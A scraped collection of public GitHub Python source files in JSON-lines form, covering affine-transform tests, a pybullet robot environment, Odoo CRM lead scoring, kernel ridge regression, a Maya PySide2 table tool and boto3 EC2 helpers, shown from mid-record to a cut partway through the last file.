3, 4],\n [0, 1, 3, 6]\n )\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition.only_translation(),\n [1, 2, 3, 4],\n [1, 2, 3, 4]\n )\n self._test_calculate_n_parameters_and_n_dims(\n AffineTransformationTypeDefinition(False, False, True, True),\n [1, 2, 3, 4],\n [1, 3, 6, 10]\n )\n\n\nclass MatrixEmbeddingTests(TestCase):\n \"\"\"Tests matrix embedding\"\"\"\n INPUTS = [\n (\n tensor(\n [[1.0, 2], [3, 4]]\n ),\n (4, 4)\n ),\n (\n tensor(\n [[1.0, 2], [3, 4]]\n ),\n (4, 3)\n ),\n (\n tensor(\n [[1.0, 2], [3, 4]]\n ),\n (3, 4)\n )\n ]\n OUTPUTS = [\n tensor(\n [[1.0, 2, 0, 0], [3, 4, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]]\n ),\n tensor(\n [[1.0, 2, 0], [3, 4, 0], [0, 0, 1], [0, 0, 0]]\n ),\n tensor(\n [[1.0, 2, 0, 0], [3, 4, 0, 0], [0, 0, 1, 0]]\n )\n ]\n\n def test_embedding(self) -> None:\n \"\"\"Test that matrices are embedded correctly\"\"\"\n for (input_matrix, target_shape), output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_matrix, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_matrix,\n output_matrix):\n assert_close(\n embed_transformation(input_matrix, target_shape),\n output_matrix)\n\n\nclass HomogenousCoordinateTests(TestCase):\n \"\"\"Tests for homogenous coordinate conversions\"\"\"\n INPUTS = [\n tensor(\n [1.0, 2]\n ),\n tensor(\n [1.0]\n )\n ]\n OUTPUTS = [\n tensor(\n [1.0, 2, 1]\n ),\n tensor(\n [1.0, 1]\n )\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that vectors are embedded correctly\"\"\"\n for input_vector, output_vector in zip(self.INPUTS, self.OUTPUTS):\n for input_vector, output_vector in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_vector,\n output_vector):\n assert_close(\n convert_to_homogenous_coordinates(input_vector),\n output_vector)\n\n\nclass TranslationMatrixTests(TestCase):\n \"\"\"Tests for translation matrix generation\"\"\"\n INPUTS = [\n tensor(\n [1.0, 2]\n ),\n tensor(\n [1.0]\n )\n ]\n OUTPUTS = [\n tensor(\n [[1.0, 0, 1], [0, 1, 2], [0, 0, 1]]\n ),\n tensor(\n [[1.0, 1.0], [0, 1]]\n )\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that matrices are generated correctly\"\"\"\n for input_parameters, output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_parameters, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_parameters,\n output_matrix):\n assert_close(\n generate_translation_matrix(input_parameters),\n output_matrix)\n\n\nclass RotationMatrixTests(TestCase):\n \"\"\"Tests for rotation matrix generation\"\"\"\n INPUTS = [\n tensor(\n [0.0, 0, 0]\n ),\n tensor(\n [pi / 2]\n )\n ]\n OUTPUTS = [\n tensor(\n [[1.0, 0, 0], [0, 1, 0], [0, 0, 1]]\n ),\n tensor(\n [[0.0, 1], [-1, 0]]\n )\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that matrices are converted correctly\"\"\"\n for input_parameters, output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_parameters, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_parameters,\n output_matrix):\n assert_close(\n generate_rotation_matrix(input_parameters),\n output_matrix)\n\n\nclass ScaleAndShearMatrixTests(TestCase):\n \"\"\"Tests for scale and shear matrix generation\"\"\"\n INPUTS = [\n tensor(\n [2.0, 2.0, 0.0]\n ),\n tensor(\n [0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n )\n ]\n OUTPUTS = [\n diag(exp(tensor([2.0, 2.0]))),\n eye(3)\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that matrices are generated correctly\"\"\"\n for input_parameters, output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_parameters, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_parameters,\n output_matrix):\n assert_close(\n generate_scale_and_shear_matrix(input_parameters),\n output_matrix)\n\n\nclass ScaleMatrixTests(TestCase):\n \"\"\"Tests for scale matrix generation\"\"\"\n INPUTS = [\n tensor(\n [2.0, 2.0]\n ),\n tensor(\n [0.0, 0.0, 1.2]\n )\n ]\n OUTPUTS = [\n diag(exp(tensor([2.0, 2.0]))),\n diag(exp(tensor([0.0, 0.0, 1.2])))\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that matrices are generated correctly\"\"\"\n for input_parameters, output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_parameters, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_parameters,\n output_matrix):\n assert_close(\n generate_scale_matrix(input_parameters.exp()),\n output_matrix)\n\n\nclass AffineMatrixTests(TestCase):\n \"\"\"Tests for generic affine matrix generation\"\"\"\n INPUTS = [\n (\n zeros(12),\n AffineTransformationTypeDefinition.full()\n ),\n (\n zeros(6),\n AffineTransformationTypeDefinition.full()\n )\n ]\n OUTPUTS = [\n eye(4),\n eye(3)\n ]\n\n def test_generation(self) -> None:\n \"\"\"Test that matrices are generated correctly\"\"\"\n for (input_parameters, affine_type), output_matrix in zip(self.INPUTS, self.OUTPUTS):\n for input_parameters, output_matrix in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n input_parameters,\n output_matrix):\n assert_close(\n generate_affine_transformation_matrix(input_parameters, affine_type),\n output_matrix)\n\n\nclass AffineTransformationCompositionTests(TestCase):\n \"\"\"Tests for affine transformation composition\"\"\"\n INPUT_1 = tensor(\n [\n [1.0, 0.0, 2.0],\n [0.0, 0.0, 2.0],\n [0.0, 0.0, 1.0]\n ]\n )\n INPUT_2 = tensor(\n [\n [1.0, 0.0, 2.0],\n [0.0, 1.0, 2.0],\n [0.0, 0.0, 1.0]\n ]\n )\n OUTPUT = tensor(\n [\n [1.0, 0.0, 4.0],\n [0.0, 0.0, 2.0],\n [0.0, 0.0, 1.0]\n ]\n )\n\n def test_composition(self) -> None:\n \"\"\"Test that matrices are composed correctly\"\"\"\n for input_1, input_2, output in\\\n BroadcastShapeTestingUtil.expand_tensor_shapes_for_testing(\n self.INPUT_1,\n self.INPUT_2,\n self.OUTPUT):\n assert_close(\n compose_affine_transformation_matrices(input_1, input_2),\n output)\n","repo_name":"honkamj/SITReg","sub_path":"src/tests/algorithm/affine_transformation_test.py","file_name":"affine_transformation_test.py","file_ext":"py","file_size_in_byte":9923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19229482534","text":"from pybullet_envs.scene_stadium import SinglePlayerStadiumScene\nfrom pybullet_envs.env_bases import MJCFBaseBulletEnv\nfrom beakerBot import BeakerBot\nimport gym, gym.spaces, gym.utils, gym.utils.seeding\nimport random, math\nimport numpy as np\nimport pybullet as p\nimport os, sys\nimport pdb\n\nTHROWBALLS = False\n\nclass BeakerCam:\n\tdef __init__(self, bullet_client):\n\t\tself._p = bullet_client\n\n\tdef move_and_look_at(self,x,y,z):\n\t\tlookat = [x,y,z]\n\t\tdistance = 1\n\t\tyaw = 135\n\t\tself._p.resetDebugVisualizerCamera(distance, yaw, -20, lookat)\n\nclass BeakerBotBulletEnv(MJCFBaseBulletEnv):\n\tdef __init__(self):\n\t\tself.robot = BeakerBot()\n\t\tMJCFBaseBulletEnv.__init__(self, self.robot)\n\t\tself.stateId=-1\n\n\tdef create_single_player_scene(self, bullet_client):\n\t\t# 50 hz, so a step is 20ms or 0.02 seconds\n\t\treturn SinglePlayerStadiumScene(bullet_client, gravity=9.8, timestep=0.02, frame_skip=1)\n\n\tdef _reset(self):\n\t\tif (self.stateId>=0):\n\t\t\tself._p.restoreState(self.stateId)\n\n\t\trr = MJCFBaseBulletEnv._reset(self)\n\t\tself.beakerCam = BeakerCam(self._p)\n\t\t\n\t\tif(THROWBALLS and self.stateId < 0):\n\t\t\tself.frames_since_ball_thrown = 0\n\t\t\tmass = .04\n\t\t\tvisualShapeId = -1\n\t\t\tsphereRadius = 0.05\n\t\t\tuseMaximalCoordinates = 0\n\t\t\tposition = [0.3,0.3,0.2]\n\t\t\tcolSphereId = self._p.createCollisionShape(p.GEOM_SPHERE,radius=sphereRadius)\n\t\t\tself.sphereUid = p.createMultiBody(mass,colSphereId,visualShapeId,position,useMaximalCoordinates=useMaximalCoordinates)\n\t\t\tself._throw_ball()\n\n\t\tif (self.stateId<0):\n\t\t\tself.stateId = self._p.saveState()\n\n\t\treturn rr\n\t\n\tdef _throw_ball(self):\n\t\trandom_angle = random.randint(0,360)\n\t\txPos = 1 * math.cos(random_angle)\n\t\tyPos = 1 * math.sin(random_angle)\n\t\tp.resetBasePositionAndOrientation(self.sphereUid, [xPos,yPos,0.2], [0,0,0,1])\n\t\tp.resetBaseVelocity(self.sphereUid, [-xPos * 2,-yPos * 2,3])\n\n\tdef _step(self, a):\n\t\tself.robot.apply_action(a)\n\t\tself.scene.global_step()\n\t\tstate = self.robot.calc_state() # theta, thetaDot, phi, phiDot (rad, rad/sec, rad, rad/sec)\n\t\tdone = np.abs(self.robot.theta) > .2\n\t\tself.HUD(state, a, done)\n\t\tself.camera_adjust(self.robot.robot_body.current_position())\n\t\tif(THROWBALLS):\n\t\t\tself.frames_since_ball_thrown += 1\n\t\t\tif(self.frames_since_ball_thrown > 125):\n\t\t\t\tself.frames_since_ball_thrown = 0\n\t\t\t\tself._throw_ball()\n\n\t\treturn state, 1.0, done, {}\n\n\tdef camera_adjust(self, pos):\n\t\tself.beakerCam.move_and_look_at(pos[0], pos[1], pos[2])\n","repo_name":"keithmgould/beaker","sub_path":"gym/beakerEnv.py","file_name":"beakerEnv.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22907229016","text":"# -*- coding: utf-8 -*-\nfrom openerp import fields, models, api\nfrom openerp.tools.safe_eval import safe_eval\nfrom openerp.osv.expression import expression\nimport datetime\nimport logging\n\n\n_logger = logging.getLogger(__name__)\nevaluation_context = {\n 'datetime': datetime,\n 'context_today': datetime.datetime.now,\n}\n\n\nclass website_crm_score(models.Model):\n _name = 'website.crm.score'\n\n @api.one\n def _count_leads(self):\n if self.id:\n self._cr.execute(\"\"\"\n SELECT COUNT(1)\n FROM crm_lead_score_rel\n WHERE score_id = %s\n \"\"\", (self.id,))\n self.leads_count = self._cr.fetchone()[0]\n else:\n self.leads_count = 0\n\n @api.one\n @api.constrains('domain')\n def _assert_valid_domain(self):\n try:\n domain = safe_eval(self.domain or '[]', evaluation_context)\n self.env['crm.lead'].search(domain, limit=1)\n except Exception as e:\n _logger.warning('Exception: %s' % (e,))\n raise Warning('The domain is incorrectly formatted')\n\n name = fields.Char('Name', required=True)\n value = fields.Float('Value', required=True)\n domain = fields.Char('Domain', required=True)\n event_based = fields.Boolean(\n 'Event-based rule',\n help='When checked, the rule will be re-evaluated every time, even for leads '\n 'that have already been checked previously. This option incurs a large '\n 'performance penalty, so it should be checked only for rules that depend '\n 'on dynamic events',\n default=False\n )\n running = fields.Boolean('Active', default=True)\n leads_count = fields.Integer(compute='_count_leads')\n\n # the default [] is needed for the function to be usable by the cron\n @api.model\n def assign_scores_to_leads(self, ids=False, lead_ids=False):\n _logger.info('Start scoring for %s rules and %s leads' % (ids and len(ids) or 'all', lead_ids and len(lead_ids) or 'all'))\n domain = [('running', '=', True)]\n if ids:\n domain.append(('id', 'in', ids))\n scores = self.search_read(domain=domain, fields=['domain'])\n for score in scores:\n domain = safe_eval(score['domain'], evaluation_context)\n\n # Don't replace the domain with a 'not in' like below... that doesn't make the same thing !!!\n # domain.extend(['|', ('stage_id.on_change', '=', False), ('stage_id.probability', 'not in', [0,100])])\n domain.extend(['|', ('stage_id.on_change', '=', False), '&', ('stage_id.probability', '!=', 0), ('stage_id.probability', '!=', 100)])\n\n e = expression(self._cr, self._uid, domain, self.pool['crm.lead'], self._context)\n where_clause, where_params = e.to_sql()\n\n where_clause += \"\"\" AND (id NOT IN (SELECT lead_id FROM crm_lead_score_rel WHERE score_id = %s)) \"\"\"\n where_params.append(score['id'])\n\n if not self.event_based and not lead_ids:\n self._cr.execute('SELECT max(lead_id) FROM crm_lead_score_rel WHERE score_id = %s', (score['id'],))\n last_id = self._cr.fetchone()[0]\n if last_id:\n # Only check leads that are newer than the last matching lead.\n # Could be based on a \"last run date\" for a more precise optimization\n where_clause += \"\"\" AND (id > %s) \"\"\"\n where_params.append(last_id)\n # -- hack for stable version --\n # if no updates has been done since param lead_ids has been added,\n # button 'score now' and action server action_score_now pass context in lead_ids arg\n # -- TODO: remove test 'not isinstance' from >=saas-9\n if lead_ids and not isinstance(lead_ids, dict):\n where_clause += \"\"\" AND (id in %s) \"\"\"\n where_params.append(tuple(lead_ids))\n\n self._cr.execute(\"\"\"INSERT INTO crm_lead_score_rel\n SELECT crm_lead.id as lead_id, %s as score_id\n FROM crm_lead\n WHERE %s RETURNING lead_id\"\"\" % (score['id'], where_clause), where_params)\n\n # Force recompute of fields that depends on score_ids\n returning_ids = [resp[0] for resp in self._cr.fetchall()]\n leads = self.env[\"crm.lead\"].browse(returning_ids)\n leads.modified(['score_ids'])\n leads.recompute()\n _logger.info('End scoring')\n","repo_name":"ahmedyousssssef/odoo","sub_path":"openerp/addons/website_crm_score/models/website_crm_score.py","file_name":"website_crm_score.py","file_ext":"py","file_size_in_byte":4572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"75133619682","text":"import argparse\nimport sys\n\n# insert at 1, 0 is the script path (or '' in REPL)\n# sys.path.insert(1, '/work/vjsalt22/hsuanfu/audio-visual-ssl')\nfrom avssl.model import ParallelSpeechClip\n\n\ndef test_speechclip_p():\n args = argparse.Namespace(\n seed=7122,\n config=\"config/speechclip_p/train_flickr.yaml\",\n device=\"cuda:0\",\n gpus=1,\n ckpt=\"\",\n njobs=2,\n save_path=\"exp/sc_p_tmp\",\n )\n\n ParallelSpeechClip(args)\n","repo_name":"atosystem/SpeechCLIP","sub_path":"test/test_speechclip_p.py","file_name":"test_speechclip_p.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"54"} +{"seq_id":"40734630979","text":"# coding:utf-8\n# QTableWidget举例,控制场景中所有物体的显示,位移\nfrom PySide2 import QtCore\nfrom PySide2 import QtWidgets\nfrom PySide2 import QtGui\nfrom shiboken2 import wrapInstance\nimport maya.OpenMayaUI as omui\nimport maya.cmds as cmds\n\n\ndef maya_main_window():\n main_window_ptr = omui.MQtUtil.mainWindow()\n return wrapInstance(long(main_window_ptr), QtWidgets.QWidget)\n\n\nclass TableExampleDialog(QtWidgets.QDialog):\n\n ATTR_ROLE = QtCore.Qt.UserRole\n VALUE_ROLE = QtCore.Qt.UserRole + 1\n\n def __init__(self, parent=maya_main_window()):\n super(TableExampleDialog, self).__init__(parent)\n\n self.setWindowTitle('Table Example')\n self.setFixedWidth(500)\n self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowContextHelpButtonHint)\n\n self.create_widgets()\n self.create_layouts()\n self.create_connections()\n\n def create_widgets(self):\n self.table_wdg = QtWidgets.QTableWidget()\n self.table_wdg.setColumnCount(5)\n self.table_wdg.setColumnWidth(0, 22)\n self.table_wdg.setColumnWidth(2, 70)\n self.table_wdg.setColumnWidth(3, 70)\n self.table_wdg.setColumnWidth(4, 70)\n self.table_wdg.setHorizontalHeaderLabels([\"\", \"Name\", \"TransX\", \"TransY\", \"TransZ\"])\n header_view = self.table_wdg.horizontalHeader()\n header_view.setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch) # 设置标题栏为自动填充窗口\n\n self.refresh_btn = QtWidgets.QPushButton(\"Refresh\")\n self.close_btn = QtWidgets.QPushButton(\"Close\")\n\n def create_layouts(self):\n button_layout = QtWidgets.QHBoxLayout()\n button_layout.setSpacing(2)\n button_layout.addStretch()\n button_layout.addWidget(self.refresh_btn)\n button_layout.addWidget(self.close_btn)\n\n main_layout = QtWidgets.QVBoxLayout(self)\n main_layout.setContentsMargins(2, 2, 2, 2)\n # main_layout.setSpacing(2)\n # main_layout.addStretch()\n main_layout.addWidget(self.table_wdg)\n main_layout.addLayout(button_layout)\n\n def create_connections(self):\n self.set_cell_changed_connection_enabled(True)\n self.refresh_btn.clicked.connect(self.refresh_table)\n self.close_btn.clicked.connect(self.close)\n\n def set_cell_changed_connection_enabled(self, enabled): # 设置单元格信号与槽的连接状态 目的是使执行refresh时不执行槽函数\n if enabled:\n self.table_wdg.cellChanged.connect(self.on_cell_changed)\n else:\n self.table_wdg.cellChanged.disconnect(self.on_cell_changed)\n\n def showEvent(self, e):\n super(TableExampleDialog, self).showEvent(e) # 当启动窗口时执行这个函数\n self.refresh_table()\n\n def keyPressEvent(self, e):\n super(TableExampleDialog, self).keyPressEvent(e)\n e.accept() # 当在工具窗口中使用键盘时不会影响到maya主窗口的对象\n\n def refresh_table(self):\n self.set_cell_changed_connection_enabled(False)\n\n self.table_wdg.setRowCount(0) # 将tableWidget 的所有项清空\n\n meshes = cmds.ls(typ=\"mesh\")\n for i in range(len(meshes)):\n transform_name = cmds.listRelatives(meshes[i], parent=True)[0]\n translation = cmds.getAttr(\"{}.translate\".format(transform_name))[0]\n visible = cmds.getAttr(\"{}.visibility\".format(transform_name))\n\n self.table_wdg.insertRow(i)\n self.insert_item(i, 0, \"\", \"visibility\", visible, True)\n self.insert_item(i, 1, transform_name, None, transform_name, False)\n self.insert_item(i, 2, self.float_to_string(translation[0]), \"tx\", translation[0], False)\n self.insert_item(i, 3, self.float_to_string(translation[1]), \"ty\", translation[0], False)\n self.insert_item(i, 4, self.float_to_string(translation[2]), \"tz\", translation[0], False)\n\n self.set_cell_changed_connection_enabled(True)\n\n def insert_item(self, row, column, text, attr, value, is_boolean):\n item = QtWidgets.QTableWidgetItem(text)\n self.set_item_attr(item, attr)\n self.set_item_value(item, value)\n if is_boolean:\n item.setFlags(QtCore.Qt.ItemIsUserCheckable | QtCore.Qt.ItemIsEnabled) # 设置复选框\n self.set_item_checked(item, value)\n\n self.table_wdg.setItem(row, column, item)\n\n def on_cell_changed(self, row, column):\n # 单元格进行改变时先将信号与槽断开连接,当rename执行完成以后再连接起来\n # 控制信号与槽连接状态的目的就是控制什么时候改变单元格的信息时执行槽函数\n self.set_cell_changed_connection_enabled(False)\n\n item = self.table_wdg.item(row, column)\n if column == 1:\n self.rename(item)\n else:\n is_boolean = column == 0\n self.update_attr(self.get_full_attr_name(row, item), item, is_boolean)\n\n self.set_cell_changed_connection_enabled(True)\n\n def rename(self, item):\n old_name = self.get_item_value(item)\n new_name = self.get_item_text(item)\n if old_name != new_name:\n actual_new_name = cmds.rename(old_name, new_name)\n if actual_new_name != new_name:\n self.set_item_text(item, actual_new_name)\n self.set_item_value(item, actual_new_name)\n\n def update_attr(self, attr_name, item, is_boolean):\n if is_boolean:\n value = self.is_item_checked(item)\n self.set_item_text(item, \"\")\n else:\n text = self.get_item_text(item)\n try:\n value = float(text)\n except ValueError:\n self.revert_original_value(item, is_boolean)\n return\n try:\n cmds.setAttr(attr_name, value)\n except:\n self.revert_original_value(item, is_boolean)\n return\n\n new_value = cmds.getAttr(attr_name)\n if is_boolean:\n self.set_item_checked(item, new_value)\n else:\n self.set_item_text(item, self.float_to_string(new_value))\n self.set_item_value(item, new_value)\n\n\n def set_item_text(self, item, text):\n item.setText(text)\n\n def get_item_text(self, item):\n return item.text()\n\n def set_item_checked(self, item, checked):\n if checked:\n item.setCheckState(QtCore.Qt.Checked)\n else:\n item.setCheckState(QtCore.Qt.Unchecked)\n\n def is_item_checked(self, item):\n return item.checkState() == QtCore.Qt.Checked\n\n def set_item_attr(self, item, attr):\n item.setData(self.ATTR_ROLE, attr)\n\n def get_item_attr(self, item):\n return item.data(self.ATTR_ROLE)\n\n def set_item_value(self, item, value):\n item.setData(self.VALUE_ROLE, value)\n\n def get_full_attr_name(self, row, item):\n node_name = self.table_wdg.item(row, 1).data(self.VALUE_ROLE)\n attr_name = self.get_item_attr(item)\n return \"{0}.{1}\".format(node_name, attr_name)\n\n def get_item_value(self, item):\n return item.data(self.VALUE_ROLE)\n\n def float_to_string(self, value):\n return \"{0:.4f}\".format(value) # 令浮点数变成保留四位数的字符串\n\n def revert_original_value(self, item, is_boolean):\n original_value = self.get_item_value(item)\n if is_boolean:\n self.set_item_checked(item, original_value)\n else:\n self.set_item_text(item, self.flate_to_string(original_value))\n\n\nif __name__ == '__main__':\n try:\n ui.close()\n ui.deleteLater()\n except:\n pass\n ui = TableExampleDialog()\n ui.show()\n","repo_name":"violet-chen/pyside2_for_maya","sub_path":"custom_cell_widgets.py","file_name":"custom_cell_widgets.py","file_ext":"py","file_size_in_byte":7684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20636600013","text":"import sys\nsys.stdin = open('11724.txt')\n\nV, E = map(int, input().split())\ngraph = []\ngrp = {x:[] for x in range(1, V + 1)}\nfor _ in range(E):\n graph.append(list(map(int, input().split())))\nfor i in range(E):\n grp[graph[i][0]] += [graph[i][1]]\n grp[graph[i][1]] += [graph[i][0]]\nres = set()\ncnt = 0\ndef dfs(s):\n stack = []\n global res\n visit = [0] * (V + 1)\n stack.append(s)\n while stack:\n here = stack.pop()\n if visit[here] == 0:\n visit[here] = 1\n stack.extend(grp[here][::-1])\n res.add(here)\n return\nfor i in range(1, V + 1):\n if i in res:\n continue\n else:\n dfs(i)\n cnt += 1\nprint(cnt)\n\n","repo_name":"dodonmountain/algorithm","sub_path":"2019_late/adv대비/boj_11724_연결요소의갯수.py","file_name":"boj_11724_연결요소의갯수.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15281296902","text":"import pickle\nimport json\nimport config\nimport numpy as np\n\nclass Online_Marketing():\n def __init__(self,Marketing_Spend, Administration, Transport, Area):\n self.Marketing_Spend=Marketing_Spend\n self.Administration=Administration\n self.Transport=Transport\n self.Area=Area\n\n def load_model(self):\n with open(config.Model_PKL,\"rb\") as f:\n self.model_pkl=pickle.load(f)\n\n with open(config.Model_JSON,\"r\") as f:\n self.json_data=json.load(f)\n\n\n def get_Profit(self):\n self.load_model()\n\n t_array=np.zeros(len(self.json_data[\"columns\"]))\n t_array[0]=self.Marketing_Spend\n t_array[1]=self.Administration\n t_array[2]=self.Transport\n t_array[3]=self.json_data[\"Area\"][self.Area]\n\n print(\"Test_Array: \",t_array)\n\n profit=np.around(self.model_pkl.predict([t_array]),2)[0]\n return profit","repo_name":"JayshriDJ/OnlineMarketing","sub_path":"Project/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26692903742","text":"import numpy as np\nimport sys\nimport pandas as pd\nimport math\nimport numpy.linalg as LA\n\n\n#defining the linear, quadratic and gaussian kernels\ndef linear (x,y): \n return np.dot(x,y.T)\n\ndef quadratic(x,y):\n return (1 + np.dot(x,y.T)) ** 2\n\ndef guassian(x,y,spread):\n n1 = np.shape(x)[0]\n n2 = np.shape(y)[0]\n kernel = np.zeros((n1,n2))\n for i in range(n1):\n for j in range(n2):\n kernel[i][j]= math.exp(-(pow(LA.norm(x[i,:] - y[j,:]),2))/(2 * (float(spread) ** 2))) \n return kernel\n\ntrain = sys.argv[1]\ntest = sys.argv[2]\nkernel = sys.argv[3]\ntry:\n spread = sys.argv[4]\n print(\"For \", kernel)\nexcept IndexError:\n print(\"For \" , kernel, \"kernel\")\n\nalpha=0.01\ntrain = np.loadtxt(sys.argv[1],delimiter=',')\ntest = np.loadtxt(sys.argv[2],delimiter=',')\n\nn,d = np.shape(train)\nn1,d1 = np.shape(test)\nX0 = np.ones((n,1))\n\n#separating response variables for train and test \nYtrain = train[:,d-1] \nYtest = test[:,d-1] \n \n#removing the response variable from the dataset \nD_train = np.delete(train, d-1, axis=1)\nD_test = np.delete(test, d-1, axis=1)\n\n#calculating Kernel Matrix K\nif (kernel == \"linear\"): \n K = np.add(linear(D_train, D_train),1) \n Ktest = np.add(linear(D_test, D_train),1)\n\nelif (kernel ==\"quadratic\"):\n K = np.add(quadratic(D_train, D_train),1)\n Ktest = np.add(quadratic(D_test, D_train),1)\n\nelif (kernel == \"gaussian\"):\n print(\"spread=\", spread)\n K = np.add(guassian(D_train, D_train, spread),1)\n Ktest = np.add(guassian(D_test, D_train, spread),1)\n\nelse:\n print(\"invalid kernel type\")\n sys.exit()\n\nK = np.array(K)\nalpha_I = np.dot(alpha,np.identity(n)) \nc = np.dot(LA.inv(K + alpha_I), Ytrain)\nYcap = np.dot(K, c)\n \n# testing the algorithm on training set\ncorrect =0\nfor i in range(n):\n if(Ycap[i] >= 0.5):\n prediction = 1\n else:\n prediction = 0 \n if(prediction == Ytrain[i]):\n correct+= 1\nprint(\"training accuracy is:\",float(correct/n)*100,\"%\")\n\n# testing the algorithm on testing set\nYtest_pred = np.dot(Ktest, c)\ncorrect = 0 \nincorrect =0\nfor i in range(n1):\n if(Ytest_pred[i] >= 0.5):\n prediction = 1\n else:\n prediction = 0 \n if(prediction == Ytest[i]):\n correct += 1 \n else:\n incorrect+=1 \nprint(\"testing accuracy is:\", float(correct/n1)*100, \"%\")","repo_name":"Abhishek2202/Data_Mining","sub_path":"Kernel_Ridge_Regression/Kernel_Ridge_Regression.py","file_name":"Kernel_Ridge_Regression.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"13512022030","text":"import torch\n\nimport torchcontrol as toco\n\n\nclass InverseDynamics(toco.ControlModule):\n \"\"\"Computes inverse dynamics\"\"\"\n\n use_grav_comp: bool\n\n def __init__(self, robot_model, ignore_gravity: bool = True):\n \"\"\"\n Args:\n robot_model: A valid robot model module from torchcontrol.models\n ignore_gravity: Whether to ignore gravitational effects\n \"\"\"\n super().__init__()\n self.robot_model = robot_model\n self.ignore_gravity = ignore_gravity\n\n def forward(\n self,\n q_current: torch.Tensor,\n qd_current: torch.Tensor,\n qdd_desired: torch.Tensor,\n ) -> torch.Tensor:\n \"\"\"\n Args:\n q_current: Current generalized coordinates\n qd_current: Current generalized velocities\n qdd_desired: Desired generalized accelerations\n\n Returns:\n Required generalized forces\n \"\"\"\n result = self.robot_model.inverse_dynamics(q_current, qd_current, qdd_desired)\n if self.ignore_gravity:\n result -= self.robot_model.inverse_dynamics(\n q_current, torch.zeros_like(q_current), torch.zeros_like(q_current)\n )\n\n return result\n\n\nclass Coriolis(toco.ControlModule):\n \"\"\"Computes the Coriolis force\"\"\"\n\n def __init__(self, robot_model):\n \"\"\"\n Args:\n robot_model: A valid robot model module from torchcontrol.models\n \"\"\"\n super().__init__()\n self.robot_model = robot_model\n\n def forward(\n self, q_current: torch.Tensor, qd_current: torch.Tensor\n ) -> torch.Tensor:\n \"\"\"\n Args:\n q_current: Current generalized coordinates\n qd_current: Current generalized velocities\n\n Returns:\n Coriolis forces\n \"\"\"\n u_all = self.robot_model.inverse_dynamics(\n q_current, qd_current, torch.zeros_like(q_current)\n )\n u_grav = self.robot_model.inverse_dynamics(\n q_current, torch.zeros_like(q_current), torch.zeros_like(q_current)\n )\n return u_all - u_grav\n","repo_name":"facebookresearch/fairo","sub_path":"polymetis/polymetis/python/torchcontrol/modules/feedforward.py","file_name":"feedforward.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":826,"dataset":"github-code","pt":"54"} +{"seq_id":"71549642402","text":"import boto3\n\n\ncount_instaces = 0\n\nec2 = boto3.client('ec2',region_name='sa-east-1')\n\ndef ec2_all_instances():\n instances = []\n response = ec2.describe_instances()\n for reservation in response['Reservations']: \n for instance in reservation['Instances']:\n instance_id = instance['InstanceId']\n instance_name = instance['Tags'][0]['Value']\n instance_type = instance['InstanceType']\n instance_key_name = instance['KeyName']\n instance_state_code = instance['State']['Code']\n instance_state_name = instance['State']['Name']\n instance_privateip = instance['PrivateIpAddress']\n instance_subnetid_= instance['SubnetId']\n instance_vpcid = instance['VpcId']\n temp_dict = {}\n temp_dict['instance_id'] = instance_id\n temp_dict['instance_name'] = instance_name \n temp_dict['instance_type'] = instance_type \n temp_dict['instance_key_name'] = instance_key_name \n temp_dict['instance_state_code'] = instance_state_code\n temp_dict['instance_state_name'] = instance_state_name \n temp_dict['instance_privateip'] = instance_privateip \n temp_dict['instance_subnetid'] = instance_subnetid_\n temp_dict['instance_vpcid'] = instance_vpcid \n instances.append(temp_dict)\n return instances\n\ndef ec2_filter_by_id(instance_id):\n response = ec2.describe_instances(InstanceIds=[instance_id])\n for reservation in response['Reservations']: \n for instance in reservation['Instances']:\n instance_id = instance['InstanceId']\n instance_name = instance['Tags'][0]['Value']\n return instance_name\n\n# all_ec2 = ec2_all_instances()\n# print(\"Total instance:\", len(all_ec2))\n\n\ndef ec2_stop(instance_id):\n response = ec2.stop_instances(\n InstanceIds=[instance_id]\n )\n\n current_state = response['StoppingInstances'][0]['CurrentState']['Name']\n previous_state = response['StoppingInstances'][0]['PreviousState']['Name']\n\n message = f'Instance id :{instance_id} current state is {current_state} and previous state was {previous_state}'\n return message\n\ndef ec2_start(instance_id):\n response = 